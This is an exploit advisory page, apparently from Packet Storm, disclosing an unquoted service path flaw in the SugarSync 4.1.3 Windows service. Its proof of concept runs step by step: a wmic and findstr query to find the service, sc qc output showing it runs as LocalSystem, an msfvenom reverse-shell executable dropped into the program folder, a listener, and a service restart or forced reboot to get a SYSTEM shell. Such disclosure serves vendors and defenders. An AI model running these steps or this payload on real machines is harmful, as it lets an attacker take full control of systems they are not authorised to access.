what you don't know can hurt you
Home Files News &[SERVICES_TAB]About Contact Add New

SugarSync 4.1.3 Unquoted Service Path

SugarSync 4.1.3 Unquoted Service Path
Posted Mar 28, 2023
Authored by Jorge Manuel Lozano Gomez

SugarSync version 4.1.3 suffers from an unquoted service path vulnerability.

tags | exploit
SHA-256 | 55037f9fc378999b0dd446661454b26aeb67331ad993ac4257ddc722d63c67ad

SugarSync 4.1.3 Unquoted Service Path

Change Mirror Download
# Exploit Title: SugarSync 4.1.3 - 'SugarSync Service' Unquoted Service Path
# Exploit Author: Jorge Manuel Lozano Gómez
# Date: 2022-10-20
# Vendor Homepage: https://www1.sugarsync.com
# Software Link: https://www1.sugarsync.com/apps/windows/
# Version : 4.1.3
# Tested on: Windows 11 64bit
# CVE : N/A


About Unquoted Service Path :
==============================

When a service is created whose executable path contains spaces and isn't enclosed within quotes, leads to a vulnerability known as Unquoted Service Path which allows a user to gain SYSTEM privileges.
(only if the vulnerable service is running with SYSTEM privilege level which most of the time it is).

Description:
==============================
SugarSync installs a service with an unquoted service path.
To properly exploit this vulnerability, the local attacker must insert an executable file in the path of the service.
Upon service restart or system reboot, the malicious code will be run with elevated privileges.

# PoC
===========

1. Open CMD and check for the vulnerability by typing [ wmic service get name,displayname,pathname,startmode | findstr /i "auto" | findstr /i /v "c:\windows\\" | findstr /i /v """ ]
2. The vulnerable service would show up.
3. Check the service permissions by typing [ sc qc "SugarSync Service" ]
4. The command would return..

C:\>sc qc "SugarSync Service"
[SC] QueryServiceConfig SUCCESS


SERVICE_NAME: SugarSync Service
TYPE : 10 WIN32_OWN_PROCESS
START_TYPE : 2 AUTO_START
ERROR_CONTROL : 1 NORMAL
BINARY_PATH_NAME : C:\Program Files (x86)\SugarSync\SugarSyncSvc.exe
LOAD_ORDER_GROUP :
TAG : 0
ISPLAY_NAME : SugarSync Service
DEPENDENCIES :
SERVICE_START_NAME : LocalSystem


5. This concludes that the service is running as SYSTEM.
6. Now create a payload with msfvenom or other tools and name it to SugarSyncSvc.exe.
7. Make sure you have write permissions to "C:\Program Files (x86)\SugarSync" directory.
8. Provided that you have right permissions, drop the SugarSyncSvc.exe executable you created into the "C:\Program Files (x86)\SugarSync" directory.
9. Start a listener.
9. Now restart the SugarSync service by giving coommand [ sc stop "SugarSync Service" ] followed by [ sc start "SugarSync Service" ]
9.1 If you cannot stop and start the service, since the service is of type "AUTO_START" we can restart the system by executing [ shutdown /r /t 0 ] and get the shell when the service starts automatically.
10. Got shell.


During my testing :

Payload : msfvenom -p windows/shell_reverse_tcp -f exe -o SugarSyncSvc.exe


# Disclaimer
=============
The information contained within this advisory is supplied "as-is" with no warranties or guarantees of fitness of use or otherwise.
The author is not responsible for any misuse of the information contained herein and accepts no responsibility for any damage caused by the use or misuse of this information.
The author prohibits any malicious use of security related information or exploits by the author or elsewhere.

Login or Register to add favorites

File Archive:

June 2024

  • Su
  • Mo
  • Tu
  • We
  • Th
  • Fr
  • Sa
  • 1
    Jun 1st
    0 Files
  • 2
    Jun 2nd
    0 Files
  • 3
    Jun 3rd
    18 Files
  • 4
    Jun 4th
    21 Files
  • 5
    Jun 5th
    0 Files
  • 6
    Jun 6th
    57 Files
  • 7
    Jun 7th
    6 Files
  • 8
    Jun 8th
    0 Files
  • 9
    Jun 9th
    0 Files
  • 10
    Jun 10th
    12 Files
  • 11
    Jun 11th
    27 Files
  • 12
    Jun 12th
    38 Files
  • 13
    Jun 13th
    16 Files
  • 14
    Jun 14th
    14 Files
  • 15
    Jun 15th
    0 Files
  • 16
    Jun 16th
    0 Files
  • 17
    Jun 17th
    0 Files
  • 18
    Jun 18th
    0 Files
  • 19
    Jun 19th
    0 Files
  • 20
    Jun 20th
    0 Files
  • 21
    Jun 21st
    0 Files
  • 22
    Jun 22nd
    0 Files
  • 23
    Jun 23rd
    0 Files
  • 24
    Jun 24th
    0 Files
  • 25
    Jun 25th
    0 Files
  • 26
    Jun 26th
    0 Files
  • 27
    Jun 27th
    0 Files
  • 28
    Jun 28th
    0 Files
  • 29
    Jun 29th
    0 Files
  • 30
    Jun 30th
    0 Files

Top Authors In Last 30 Days

File Tags

Systems

packet storm

© 2022 Packet Storm. All rights reserved.

Services
Security Services
Hosting By
Rokasec
close